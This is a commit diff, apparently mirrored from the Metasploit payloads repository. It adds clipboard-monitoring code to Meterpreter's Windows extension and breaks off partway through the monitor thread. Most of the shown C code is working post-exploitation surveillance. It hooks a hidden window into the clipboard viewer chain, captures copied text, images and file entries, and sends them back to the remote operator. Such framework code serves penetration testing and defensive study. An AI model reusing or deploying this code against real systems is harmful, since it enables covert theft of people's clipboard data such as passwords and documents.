mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Add basic clipboard monitor plumbing
This commit is contained in:
parent
ce9c5713fa
commit
6d68699012
@ -9,6 +9,8 @@ SET PREF=
|
||||
IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_
|
||||
|
||||
IF "%1"=="x86" GOTO BUILD_X86
|
||||
IF "%1"=="X86" GOTO BUILD_X86
|
||||
IF "%1"=="x64" GOTO BUILD_X64
|
||||
IF "%1"=="X64" GOTO BUILD_X64
|
||||
|
||||
ECHO "Building Meterpreter x64 and x86 (Release)"
|
||||
|
@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#include <wininet.h>
|
||||
|
||||
/*! @brief When defined, debug output is enabled on Windows builds. */
|
||||
//#define DEBUGTRACE 1
|
||||
#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
|
@ -1,12 +1,43 @@
|
||||
/*!
|
||||
* @file clipboard.h
|
||||
* @file clipboard.c
|
||||
* @brief Definitions for clipboard interaction functionality.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "../../common/thread.h"
|
||||
#include "clipboard.h"
|
||||
#include "clipboard_image.h"
|
||||
|
||||
typedef struct _ClipboardState
|
||||
{
|
||||
#ifdef _WIN32
|
||||
/*! @brief Name to use for the window class when registering the message-only window. */
|
||||
char cbWindowClass[256];
|
||||
/*! @brief Handle to the clipboard monitor window. */
|
||||
HWND hClipboardWindow;
|
||||
/*! @brief Handle to the next window in the clipboard chain. */
|
||||
HWND hNextViewer;
|
||||
#endif
|
||||
/*! @brief Indicates if the thread is running or not. */
|
||||
BOOL bRunning;
|
||||
/*! @brief Handle to the event that signals when the thread has actioned the caller's request. */
|
||||
EVENT* hResponseEvent;
|
||||
/*! @brief Signalled when the caller wants the thread to pause. */
|
||||
EVENT* hPauseEvent;
|
||||
/*! @brief Signalled when the caller wants the thread to resume. */
|
||||
EVENT* hResumeEvent;
|
||||
/*! @brief Automatically download files copied to the clipboard. */
|
||||
BOOL bDownloadFiles;
|
||||
/*! @brief Automatically download image content copied to the clipboard. */
|
||||
BOOL bDownloadImages;
|
||||
/*! @brief Reference to the clipboard monitor thread. */
|
||||
THREAD* hThread;
|
||||
} ClipboardState;
|
||||
|
||||
/*! @brief Pointer to the state for the monitor thread. */
|
||||
static ClipboardState* gClipboardState = NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
/*! @brief GlobalAlloc function pointer type. */
|
||||
typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
|
||||
|
||||
@ -50,8 +81,141 @@ typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
|
||||
/*! @brief GetFileSizeEx function pointer type. */
|
||||
typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
|
||||
|
||||
#endif
|
||||
LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
|
||||
{
|
||||
ClipboardState* pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
|
||||
|
||||
if (!pState)
|
||||
{
|
||||
pState = gClipboardState;
|
||||
}
|
||||
|
||||
switch (uMsg)
|
||||
{
|
||||
case WM_CREATE:
|
||||
dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x", hWnd);
|
||||
pState = (ClipboardState*)pState;
|
||||
SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
|
||||
pState->hNextViewer = SetClipboardViewer(hWnd);
|
||||
dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer called, next viewer is %x", pState->hNextViewer);
|
||||
|
||||
if (!pState->hNextViewer)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer error %u", GetLastError());
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_CHANGECBCHAIN:
|
||||
dprintf("[EXTAPI CLIPBOARD] received WM_CHANGECBCHAIN %x", hWnd);
|
||||
if ((HWND)wParam == pState->hNextViewer)
|
||||
{
|
||||
pState->hNextViewer = (HWND)lParam;
|
||||
dprintf("[EXTAPI CLIPBOARD] Next viewer is now %x", pState->hNextViewer);
|
||||
}
|
||||
else if (pState->hNextViewer)
|
||||
{
|
||||
SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_DRAWCLIPBOARD:
|
||||
dprintf("[EXTAPI CLIPBOARD] received WM_DRAWCLIPBOARD %x", hWnd);
|
||||
|
||||
if (pState->bRunning)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] thread is running, harvesting clipboard %x", hWnd);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] thread is no running, ignoring clipboard change %x", hWnd);
|
||||
}
|
||||
|
||||
if (pState->hNextViewer)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Passing on to %x", pState->hNextViewer);
|
||||
SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_DESTROY:
|
||||
dprintf("[EXTAPI CLIPBOARD] received WM_DESTROY %x", hWnd);
|
||||
ChangeClipboardChain(hWnd, pState->hNextViewer);
|
||||
break;
|
||||
|
||||
default:
|
||||
return DefWindowProcA(hWnd, uMsg, lParam, wParam);
|
||||
}
|
||||
|
||||
return (LRESULT)NULL;
|
||||
}
|
||||
|
||||
DWORD create_clipboard_monitor_window(ClipboardState* pState)
|
||||
{
|
||||
DWORD dwResult;
|
||||
BOOL bRegistered = FALSE;
|
||||
WNDCLASSEXA wndClass = { 0 };
|
||||
|
||||
wndClass.cbSize = sizeof(WNDCLASSEXA);
|
||||
wndClass.lpfnWndProc = (WNDPROC)clipboard_monitor_window_proc;
|
||||
wndClass.hInstance = GetModuleHandleA(NULL);
|
||||
wndClass.lpszClassName = pState->cbWindowClass;
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Setting up the monitor window. Class = %s from %p -> %s", wndClass.lpszClassName, pState, pState->cbWindowClass);
|
||||
|
||||
do
|
||||
{
|
||||
if (!RegisterClassExA(&wndClass))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to register window class.");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Window registered");
|
||||
bRegistered = TRUE;
|
||||
|
||||
pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, pState);
|
||||
|
||||
if (pState->hClipboardWindow == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to create message only window instance");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Window created");
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (pState->hClipboardWindow == NULL && bRegistered)
|
||||
{
|
||||
UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL));
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
|
||||
{
|
||||
DWORD dwResult;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor window: %p", pState);
|
||||
if (!DestroyWindow(pState->hClipboardWindow))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
|
||||
}
|
||||
|
||||
if (!UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL)))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
#endif
|
||||
/*!
|
||||
* @brief Handle the request to get the data from the clipboard.
|
||||
* @details This function currently only supports the following clipboard data formats:
|
||||
@ -109,38 +273,55 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
|
||||
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
|
||||
if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
|
||||
if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
|
||||
if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
|
||||
if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
|
||||
if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
|
||||
if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
|
||||
if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
|
||||
}
|
||||
|
||||
// Try to get a lock on the clipboard
|
||||
if (!pOpenClipboard(NULL)) {
|
||||
if (!pOpenClipboard(NULL))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
|
||||
}
|
||||
@ -149,23 +330,25 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
|
||||
while (uFormat = pEnumClipboardFormats(uFormat))
|
||||
{
|
||||
if (uFormat == CF_TEXT) {
|
||||
if (uFormat == CF_TEXT)
|
||||
{
|
||||
// there's raw text on the clipboard
|
||||
if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
|
||||
&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) {
|
||||
|
||||
&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);
|
||||
|
||||
pGlobalUnlock(hClipboardData);
|
||||
}
|
||||
}
|
||||
else if (uFormat == CF_DIB) {
|
||||
else if (uFormat == CF_DIB)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
|
||||
// an image of some kind is on the clipboard
|
||||
if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
|
||||
&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) {
|
||||
|
||||
&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
|
||||
|
||||
// grab the bitmap image size
|
||||
@ -184,15 +367,17 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
|
||||
bImageDownload ? "WILL" : "will NOT");
|
||||
|
||||
if (!bImageDownload) {
|
||||
if (!bImageDownload)
|
||||
{
|
||||
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
|
||||
}
|
||||
else {
|
||||
else
|
||||
{
|
||||
lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
|
||||
|
||||
// TODO: add the ability to encode with multiple encoders and return the smallest image.
|
||||
if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) {
|
||||
|
||||
if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
|
||||
imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
|
||||
imageTlv[2].header.length = image.dwImageBufferSize;
|
||||
@ -207,7 +392,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
|
||||
free(image.pImageBuffer);
|
||||
}
|
||||
else {
|
||||
else
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
|
||||
}
|
||||
@ -215,7 +401,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
|
||||
pGlobalUnlock(hClipboardData);
|
||||
}
|
||||
else {
|
||||
else
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
|
||||
}
|
||||
@ -227,34 +414,46 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
|
||||
if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
|
||||
if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
|
||||
if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
|
||||
if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
|
||||
if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
|
||||
if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
|
||||
&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) {
|
||||
|
||||
&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
|
||||
{
|
||||
uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
|
||||
|
||||
for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) {
|
||||
if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) {
|
||||
for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
|
||||
{
|
||||
if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
|
||||
|
||||
memset(&entries, 0, sizeof(entries));
|
||||
@ -268,8 +467,10 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
entries[1].header.length = sizeof(QWORD);
|
||||
entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
|
||||
|
||||
if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) {
|
||||
if (pGetFileSizeEx(hSourceFile, &largeInt)) {
|
||||
if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
|
||||
{
|
||||
if (pGetFileSizeEx(hSourceFile, &largeInt))
|
||||
{
|
||||
largeInt.QuadPart = htonq(largeInt.QuadPart);
|
||||
}
|
||||
|
||||
@ -294,16 +495,24 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
if (hShell32)
|
||||
{
|
||||
FreeLibrary(hShell32);
|
||||
}
|
||||
|
||||
if (hKernel32)
|
||||
{
|
||||
FreeLibrary(hKernel32);
|
||||
}
|
||||
|
||||
if (hUser32)
|
||||
{
|
||||
FreeLibrary(hUser32);
|
||||
}
|
||||
|
||||
if (pResponse)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
@ -347,27 +556,39 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
do
|
||||
{
|
||||
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
|
||||
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
|
||||
if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
|
||||
if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
|
||||
if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
|
||||
if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
|
||||
if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
|
||||
@ -375,22 +596,29 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
|
||||
if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
|
||||
if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
|
||||
if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
|
||||
}
|
||||
|
||||
cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
|
||||
|
||||
// do the "use the right kind of memory once locked" clip board data dance.
|
||||
// Note that we don't free up the memory we've allocated with GlobalAlloc
|
||||
// because the windows clipboard magic does it for us.
|
||||
if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) {
|
||||
if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL)
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
pCloseClipboard();
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult);
|
||||
@ -403,7 +631,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
pGlobalUnlock(hClipboardData);
|
||||
|
||||
// Try to get a lock on the clipboard
|
||||
if (!pOpenClipboard(NULL)) {
|
||||
if (!pOpenClipboard(NULL))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
|
||||
}
|
||||
@ -411,7 +640,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
// Clear the clipboard data
|
||||
pEmptyClipboard();
|
||||
|
||||
if (!pSetClipboardData(CF_TEXT, hClipboardData)) {
|
||||
if (!pSetClipboardData(CF_TEXT, hClipboardData))
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
|
||||
}
|
||||
@ -425,17 +655,24 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
|
||||
// If something went wrong and we have clipboard data, then we need to
|
||||
// free it up because the clipboard can't do it for us.
|
||||
if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) {
|
||||
if (dwResult != ERROR_SUCCESS && hClipboardData != NULL)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
|
||||
if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL)
|
||||
{
|
||||
pGlobalFree(hClipboardData);
|
||||
}
|
||||
}
|
||||
|
||||
if (hKernel32)
|
||||
{
|
||||
FreeLibrary(hKernel32);
|
||||
}
|
||||
|
||||
if (hUser32)
|
||||
{
|
||||
FreeLibrary(hUser32);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
@ -445,10 +682,268 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
#endif
|
||||
}
|
||||
|
||||
DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult;
|
||||
BOOL bTerminate = FALSE;
|
||||
HANDLE waitableHandles[2] = {0};
|
||||
MSG msg;
|
||||
ClipboardState* pState = (ClipboardState*)thread->parameter1;
|
||||
|
||||
do
|
||||
{
|
||||
if (pState == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread state is NULL", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
dwResult = create_clipboard_monitor_window(pState);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// signal to the caller that our thread has started
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread started");
|
||||
pState->bRunning = TRUE;
|
||||
event_signal(pState->hResponseEvent);
|
||||
|
||||
waitableHandles[0] = thread->sigterm->handle;
|
||||
waitableHandles[1] = pState->hPauseEvent->handle;
|
||||
|
||||
while (!bTerminate)
|
||||
{
|
||||
dwResult = WaitForMultipleObjects(2, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
|
||||
|
||||
switch (dwResult)
|
||||
{
|
||||
case 0: // stop the thread
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread stopping");
|
||||
bTerminate = TRUE;
|
||||
break;
|
||||
case 1: // pause the thread
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread paused");
|
||||
pState->bRunning = FALSE;
|
||||
|
||||
// indicate that we've paused
|
||||
event_signal(pState->hResponseEvent);
|
||||
|
||||
// wait to be told to continue, but keep pumping messages while we wait
|
||||
// because these are the messages we're ignoring.
|
||||
while (!event_poll(pState->hResumeEvent, 1))
|
||||
{
|
||||
if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
|
||||
{
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessageA(&msg);
|
||||
}
|
||||
}
|
||||
|
||||
// indicate that we've resumed
|
||||
pState->bRunning = TRUE;
|
||||
event_signal(pState->hResponseEvent);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread resumed");
|
||||
break;
|
||||
default:
|
||||
// timeout, so pump messages
|
||||
if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
|
||||
{
|
||||
TranslateMessage(&msg);
|
||||
